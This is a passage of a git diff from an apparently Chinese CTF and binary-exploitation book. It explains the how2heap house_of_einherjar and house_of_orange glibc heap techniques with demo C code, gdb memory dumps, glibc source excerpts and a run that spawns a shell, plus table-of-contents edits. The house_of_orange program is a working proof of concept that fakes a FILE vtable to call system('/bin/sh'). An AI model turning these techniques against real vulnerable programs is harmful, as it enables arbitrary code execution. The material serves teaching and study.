原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
|
||||
|
||||
接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配:
|
||||
```
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
|
||||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
|
||||
```
|
||||
|
||||
释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:
|
||||
```
|
||||
gef➤ heap arenas
|
||||
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
|
||||
```
|
||||
合并的过程在 poison-null-byte 那里也讲过了。
|
||||
|
||||
最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:
|
||||
```
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
|
||||
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
|
||||
0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
|
||||
```
|
||||
|
||||
#### house_of_orange
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int winner (char *ptr);
|
||||
|
||||
int main() {
|
||||
char *p1, *p2;
|
||||
size_t io_list_all, *top;
|
||||
|
||||
p1 = malloc(0x400 - 0x10);
|
||||
|
||||
top = (size_t *) ((char *) p1 + 0x400 - 0x10);
|
||||
top[1] = 0xc01;
|
||||
|
||||
p2 = malloc(0x1000);
|
||||
io_list_all = top[2] + 0x9a8;
|
||||
top[3] = io_list_all - 0x10;
|
||||
|
||||
memcpy((char *) top, "/bin/sh\x00", 8);
|
||||
|
||||
top[1] = 0x61;
|
||||
|
||||
_IO_FILE *fp = (_IO_FILE *) top;
|
||||
fp->_mode = 0; // top+0xc0
|
||||
fp->_IO_write_base = (char *) 2; // top+0x20
|
||||
fp->_IO_write_ptr = (char *) 3; // top+0x28
|
||||
|
||||
size_t *jump_table = &top[12]; // controlled memory
|
||||
jump_table[3] = (size_t) &winner;
|
||||
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
|
||||
|
||||
malloc(1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int winner(char *ptr) {
|
||||
system(ptr);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_orange.c
|
||||
$ ./a.out
|
||||
*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
|
||||
======= Backtrace: =========
|
||||
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
|
||||
./a.out[0x4006cc]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
|
||||
./a.out[0x400509]
|
||||
======= Memory map: ========
|
||||
00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out
|
||||
00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out
|
||||
00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out
|
||||
01e81000-01ec4000 rw-p 00000000 00:00 0 [heap]
|
||||
7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
|
||||
7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
|
||||
7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
|
||||
7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
|
||||
7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
|
||||
7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
|
||||
7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack]
|
||||
7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar]
|
||||
7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso]
|
||||
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
||||
$ whoami
|
||||
firmy
|
||||
$ exit
|
||||
Aborted (core dumped)
|
||||
```
|
||||
house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
|
||||
|
||||
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 `mp_.mmap_threshold`:
|
||||
```c
|
||||
if (av == NULL
|
||||
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
||||
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
||||
{
|
||||
```
|
||||
同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10:
|
||||
```c
|
||||
if (old_size >= MINSIZE)
|
||||
{
|
||||
_int_free (av, old_top, 1);
|
||||
}
|
||||
```
|
||||
当然,还得绕过下面两个限制条件:
|
||||
```c
|
||||
/*
|
||||
If not the first time through, we require old_size to be
|
||||
at least MINSIZE and to have prev_inuse set.
|
||||
*/
|
||||
|
||||
assert ((old_top == initial_top (av) && old_size == 0) ||
|
||||
((unsigned long) (old_size) >= MINSIZE &&
|
||||
prev_inuse (old_top) &&
|
||||
((unsigned long) old_end & (pagesize - 1)) == 0));
|
||||
|
||||
/* Precondition: not enough current space to satisfy nb request */
|
||||
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
||||
```
|
||||
即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。
|
||||
|
||||
首先分配一个大小为 0x400 的 chunk:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1
|
||||
0x602010: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk
|
||||
0x602410: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。
|
||||
|
||||
现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk
|
||||
0x602410: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
gef➤ x/4gx p1-0x10+0x400+0xbe0
|
||||
0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1
|
||||
0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2
|
||||
gef➤ x/4gx p2-0x10
|
||||
0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2
|
||||
0x623010: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx p2-0x10+0x1010
|
||||
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
|
||||
0x624020: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602400, bk=0x602400
|
||||
→ Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)
|
||||
```
|
||||
于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:
|
||||
```
|
||||
+---------------+
|
||||
| p1 |
|
||||
+---------------+
|
||||
| old top-0x20 |
|
||||
+---------------+
|
||||
| fencepost 1 |
|
||||
+---------------+
|
||||
| fencepost 2 |
|
||||
+---------------+
|
||||
| ... |
|
||||
+---------------+
|
||||
| p2 |
|
||||
+---------------+
|
||||
| new top |
|
||||
+---------------+
|
||||
```
|
||||
详细过程如下:
|
||||
```c
|
||||
if (old_size != 0)
|
||||
{
|
||||
/*
|
||||
Shrink old_top to insert fenceposts, keeping size a
|
||||
multiple of MALLOC_ALIGNMENT. We know there is at least
|
||||
enough space in old_top to do this.
|
||||
*/
|
||||
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
|
||||
set_head (old_top, old_size | PREV_INUSE);
|
||||
|
||||
/*
|
||||
Note that the following assignments completely overwrite
|
||||
old_top when old_size was previously MINSIZE. This is
|
||||
intentional. We need the fencepost, even if old_top otherwise gets
|
||||
lost.
|
||||
*/
|
||||
chunk_at_offset (old_top, old_size)->size =
|
||||
(2 * SIZE_SZ) | PREV_INUSE;
|
||||
|
||||
chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
|
||||
(2 * SIZE_SZ) | PREV_INUSE;
|
||||
|
||||
/* If possible, release the rest. */
|
||||
if (old_size >= MINSIZE)
|
||||
{
|
||||
_int_free (av, old_top, 1);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000be1
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
|
||||
```
|
||||
这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去:
|
||||
```c
|
||||
static void
|
||||
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
|
||||
{
|
||||
[...]
|
||||
if ((action & 5) == 5)
|
||||
__libc_message (action & 2, "%s\n", str);
|
||||
else if (action & 1)
|
||||
{
|
||||
char buf[2 * sizeof (uintptr_t) + 1];
|
||||
|
||||
buf[sizeof (buf) - 1] = '\0';
|
||||
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
|
||||
while (cp > buf)
|
||||
*--cp = '0';
|
||||
|
||||
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
|
||||
__libc_argv[0] ? : "<unknown>", str, cp);
|
||||
}
|
||||
else if (action & 2)
|
||||
abort ();
|
||||
}
|
||||
```
|
||||
调用 `__libc_message`:
|
||||
```c
|
||||
// sysdeps/posix/libc_fatal.c
|
||||
/* Abort with an error message. */
|
||||
void
|
||||
__libc_message (int do_abort, const char *fmt, ...)
|
||||
{
|
||||
[...]
|
||||
if (do_abort)
|
||||
{
|
||||
BEFORE_ABORT (do_abort, written, fd);
|
||||
|
||||
/* Kill the application. */
|
||||
abort ();
|
||||
}
|
||||
}
|
||||
```
|
||||
`do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`:
|
||||
```c
|
||||
// stdlib/abort.c
|
||||
#define fflush(s) _IO_flush_all_lockp (0)
|
||||
|
||||
if (stage == 1)
|
||||
{
|
||||
++stage;
|
||||
fflush (NULL);
|
||||
}
|
||||
```
|
||||
```c
|
||||
// libio/genops.c
|
||||
int
|
||||
_IO_flush_all_lockp (int do_lock)
|
||||
{
|
||||
int result = 0;
|
||||
struct _IO_FILE *fp;
|
||||
int last_stamp;
|
||||
|
||||
#ifdef _IO_MTSAFE_IO
|
||||
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
|
||||
if (do_lock)
|
||||
_IO_lock_lock (list_all_lock);
|
||||
#endif
|
||||
|
||||
last_stamp = _IO_list_all_stamp;
|
||||
fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
|
||||
while (fp != NULL)
|
||||
{
|
||||
run_fp = fp;
|
||||
if (do_lock)
|
||||
_IO_flockfile (fp);
|
||||
|
||||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||||
|| (_IO_vtable_offset (fp) == 0
|
||||
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
|
||||
> fp->_wide_data->_IO_write_base))
|
||||
#endif
|
||||
)
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
|
||||
result = EOF;
|
||||
|
||||
if (do_lock)
|
||||
_IO_funlockfile (fp);
|
||||
run_fp = NULL;
|
||||
|
||||
if (last_stamp != _IO_list_all_stamp)
|
||||
{
|
||||
/* Something was added to the list. Start all over again. */
|
||||
fp = (_IO_FILE *) _IO_list_all;
|
||||
last_stamp = _IO_list_all_stamp;
|
||||
}
|
||||
else
|
||||
fp = fp->_chain; // 指向我们指定的区域
|
||||
}
|
||||
|
||||
#ifdef _IO_MTSAFE_IO
|
||||
if (do_lock)
|
||||
_IO_lock_unlock (list_all_lock);
|
||||
__libc_cleanup_region_end (0);
|
||||
#endif
|
||||
|
||||
return result;
|
||||
}
|
||||
```
|
||||
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。
|
||||
```c
|
||||
// libio/libioP.h
|
||||
/* We always allocate an extra word following an _IO_FILE.
|
||||
This contains a pointer to the function jump table used.
|
||||
This is for compatibility with C++ streambuf; the word can
|
||||
be used to smash to a pointer to a virtual function table. */
|
||||
|
||||
struct _IO_FILE_plus
|
||||
{
|
||||
_IO_FILE file;
|
||||
const struct _IO_jump_t *vtable;
|
||||
};
|
||||
|
||||
// libio/libio.h
|
||||
struct _IO_FILE {
|
||||
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
|
||||
#define _IO_file_flags _flags
|
||||
|
||||
/* The following pointers correspond to the C++ streambuf protocol. */
|
||||
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
|
||||
char* _IO_read_ptr; /* Current read pointer */
|
||||
char* _IO_read_end; /* End of get area. */
|
||||
char* _IO_read_base; /* Start of putback+get area. */
|
||||
char* _IO_write_base; /* Start of put area. */
|
||||
char* _IO_write_ptr; /* Current put pointer. */
|
||||
char* _IO_write_end; /* End of put area. */
|
||||
char* _IO_buf_base; /* Start of reserve area. */
|
||||
char* _IO_buf_end; /* End of reserve area. */
|
||||
/* The following fields are used to support backing up and undo. */
|
||||
char *_IO_save_base; /* Pointer to start of non-current get area. */
|
||||
char *_IO_backup_base; /* Pointer to first valid character of backup area */
|
||||
char *_IO_save_end; /* Pointer to end of non-current get area. */
|
||||
|
||||
struct _IO_marker *_markers;
|
||||
|
||||
struct _IO_FILE *_chain;
|
||||
|
||||
int _fileno;
|
||||
#if 0
|
||||
int _blksize;
|
||||
#else
|
||||
int _flags2;
|
||||
#endif
|
||||
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
|
||||
|
||||
#define __HAVE_COLUMN /* temporary */
|
||||
/* 1+column number of pbase(); 0 is unknown. */
|
||||
unsigned short _cur_column;
|
||||
signed char _vtable_offset;
|
||||
char _shortbuf[1];
|
||||
|
||||
/* char* _save_gptr; char* _save_egptr; */
|
||||
|
||||
_IO_lock_t *_lock;
|
||||
#ifdef _IO_USE_OLD_IO_FILE
|
||||
};
|
||||
```
|
||||
其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下:
|
||||
```c
|
||||
// libio/libioP.h
|
||||
struct _IO_jump_t
|
||||
{
|
||||
JUMP_FIELD(size_t, __dummy);
|
||||
JUMP_FIELD(size_t, __dummy2);
|
||||
JUMP_FIELD(_IO_finish_t, __finish);
|
||||
JUMP_FIELD(_IO_overflow_t, __overflow);
|
||||
JUMP_FIELD(_IO_underflow_t, __underflow);
|
||||
JUMP_FIELD(_IO_underflow_t, __uflow);
|
||||
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
|
||||
/* showmany */
|
||||
JUMP_FIELD(_IO_xsputn_t, __xsputn);
|
||||
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
|
||||
JUMP_FIELD(_IO_seekoff_t, __seekoff);
|
||||
JUMP_FIELD(_IO_seekpos_t, __seekpos);
|
||||
JUMP_FIELD(_IO_setbuf_t, __setbuf);
|
||||
JUMP_FIELD(_IO_sync_t, __sync);
|
||||
JUMP_FIELD(_IO_doallocate_t, __doallocate);
|
||||
JUMP_FIELD(_IO_read_t, __read);
|
||||
JUMP_FIELD(_IO_write_t, __write);
|
||||
JUMP_FIELD(_IO_seek_t, __seek);
|
||||
JUMP_FIELD(_IO_close_t, __close);
|
||||
JUMP_FIELD(_IO_stat_t, __stat);
|
||||
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
|
||||
JUMP_FIELD(_IO_imbue_t, __imbue);
|
||||
#if 0
|
||||
get_column;
|
||||
set_column;
|
||||
#endif
|
||||
};
|
||||
```
|
||||
伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。另外,
|
||||
|
||||
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
|
||||
|
||||
在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查:
|
||||
```c
|
||||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||||
|| (_IO_vtable_offset (fp) == 0
|
||||
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
|
||||
> fp->_wide_data->_IO_write_base))
|
||||
#endif
|
||||
)
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
|
||||
```
|
||||
```c
|
||||
// libio/libio.h
|
||||
|
||||
struct _IO_wide_data *_wide_data;
|
||||
|
||||
/* Extra data for wide character streams. */
|
||||
struct _IO_wide_data
|
||||
{
|
||||
wchar_t *_IO_read_ptr; /* Current read pointer */
|
||||
wchar_t *_IO_read_end; /* End of get area. */
|
||||
wchar_t *_IO_read_base; /* Start of putback+get area. */
|
||||
wchar_t *_IO_write_base; /* Start of put area. */
|
||||
wchar_t *_IO_write_ptr; /* Current put pointer. */
|
||||
wchar_t *_IO_write_end; /* End of put area. */
|
||||
wchar_t *_IO_buf_base; /* Start of reserve area. */
|
||||
wchar_t *_IO_buf_end; /* End of reserve area. */
|
||||
/* The following fields are used to support backing up and undo. */
|
||||
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
|
||||
wchar_t *_IO_backup_base; /* Pointer to first valid character of
|
||||
backup area */
|
||||
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
|
||||
|
||||
__mbstate_t _IO_state;
|
||||
__mbstate_t _IO_last_state;
|
||||
struct _IO_codecvt _codecvt;
|
||||
|
||||
wchar_t _shortbuf[1];
|
||||
|
||||
const struct _IO_jump_t *_wide_vtable;
|
||||
};
|
||||
```
|
||||
所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。
|
||||
|
||||
然后,就是修改 `_IO_jump_t`,将其指向 winner:
|
||||
```
|
||||
gef➤ x/30gx p1-0x10+0x400
|
||||
0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10
|
||||
0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr
|
||||
0x602430: 0x0000000000000000 0x0000000000000000
|
||||
0x602440: 0x0000000000000000 0x0000000000000000
|
||||
0x602450: 0x0000000000000000 0x0000000000000000
|
||||
0x602460: 0x0000000000000000 0x0000000000000000
|
||||
0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner
|
||||
0x602480: 0x0000000000000000 0x0000000000000000
|
||||
0x602490: 0x0000000000000000 0x0000000000000000
|
||||
0x6024a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6024b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6024c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable
|
||||
0x6024e0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ p *((struct _IO_FILE_plus *) 0x602400)
|
||||
$1 = {
|
||||
file = {
|
||||
_flags = 0x6e69622f,
|
||||
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
|
||||
_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
|
||||
_IO_read_base = 0x7ffff7dd2510 "",
|
||||
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
|
||||
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
|
||||
_IO_write_end = 0x0,
|
||||
_IO_buf_base = 0x0,
|
||||
_IO_buf_end = 0x0,
|
||||
_IO_save_base = 0x0,
|
||||
_IO_backup_base = 0x0,
|
||||
_IO_save_end = 0x0,
|
||||
_markers = 0x0,
|
||||
_chain = 0x0,
|
||||
_fileno = 0x0,
|
||||
_flags2 = 0x0,
|
||||
_old_offset = 0x4006d3,
|
||||
_cur_column = 0x0,
|
||||
_vtable_offset = 0x0,
|
||||
_shortbuf = "",
|
||||
_lock = 0x0,
|
||||
_offset = 0x0,
|
||||
_codecvt = 0x0,
|
||||
_wide_data = 0x0,
|
||||
_freeres_list = 0x0,
|
||||
_freeres_buf = 0x0,
|
||||
__pad5 = 0x0,
|
||||
_mode = 0x0,
|
||||
_unused2 = '\000' <repeats 19 times>
|
||||
},
|
||||
vtable = 0x602460
|
||||
}
|
||||
```
|
||||
|
||||
最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。
|
||||
```c
|
||||
for (;; )
|
||||
{
|
||||
int iters = 0;
|
||||
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
|
||||
{
|
||||
bck = victim->bk;
|
||||
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|
||||
|| __builtin_expect (victim->size > av->system_mem, 0))
|
||||
malloc_printerr (check_action, "malloc(): memory corruption",
|
||||
chunk2mem (victim), av);
|
||||
size = chunksize (victim);
|
||||
```
|
||||
|
||||
到此,how2heap 里全部的堆利用方法就全部讲完了。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)
|
||||
- [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode)
|
||||
- [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange)
|
@ -4,4 +4,6 @@
|
||||
- [3.3.2 整数溢出](3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](3.3.4_rop.md)
|
||||
- [3.3.5 堆溢出](3.3.5_heap_overflow.md)
|
||||
- [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md)
|
||||
- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md)
|
||||
- [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md)
|
||||
|
@ -8,7 +8,11 @@
|
||||
- [3.3.2 整数溢出](3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](3.3.4_rop.md)
|
||||
- [3.3.5 堆利用](3.3.5_heap_exploit.md)
|
||||
- [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md)
|
||||
- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md)
|
||||
- [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md)
|
||||
- [3.4 Web](3.4_web.md)
|
||||
- [3.4.1 SQL 注入利用](3.4.1_sql_injection.md)
|
||||
- [3.4.2 XSS 漏洞利用](3.4.2_xss.md)
|
||||
- [3.5 Misc](3.5_misc.md)
|
||||
- [3.6 Mobile](3.6_mobile.md)
|
||||
|
1
doc/5.1.1_afl_fuzzer.md
Normal file
1
doc/5.1.1_afl_fuzzer.md
Normal file
@ -0,0 +1 @@
|
||||
# 5.1.1 AFL fuzzer
|
@ -1,6 +1,7 @@
|
||||
# 第五章 高级篇
|
||||
|
||||
- [5.1 Fuzz 测试](5.1_fuzz.md)
|
||||
- [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md)
|
||||
- [5.2 Pin 动态二进制插桩](5.2_pin.md)
|
||||
- [5.3 angr 二进制自动化分析](5.3_angr.md)
|
||||
- [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md)
|
||||
|
54
src/Others/3.3.5_heap_exploit/house_of_einherjar.c
Normal file
54
src/Others/3.3.5_heap_exploit/house_of_einherjar.c
Normal file
@ -0,0 +1,54 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
uint8_t *a, *b, *d;
|
||||
|
||||
a = (uint8_t*) malloc(0x10);
|
||||
int real_a_size = malloc_usable_size(a);
|
||||
memset(a, 'A', real_a_size);
|
||||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
|
||||
|
||||
size_t fake_chunk[6];
|
||||
fake_chunk[0] = 0x80;
|
||||
fake_chunk[1] = 0x80;
|
||||
fake_chunk[2] = (size_t) fake_chunk;
|
||||
fake_chunk[3] = (size_t) fake_chunk;
|
||||
fake_chunk[4] = (size_t) fake_chunk;
|
||||
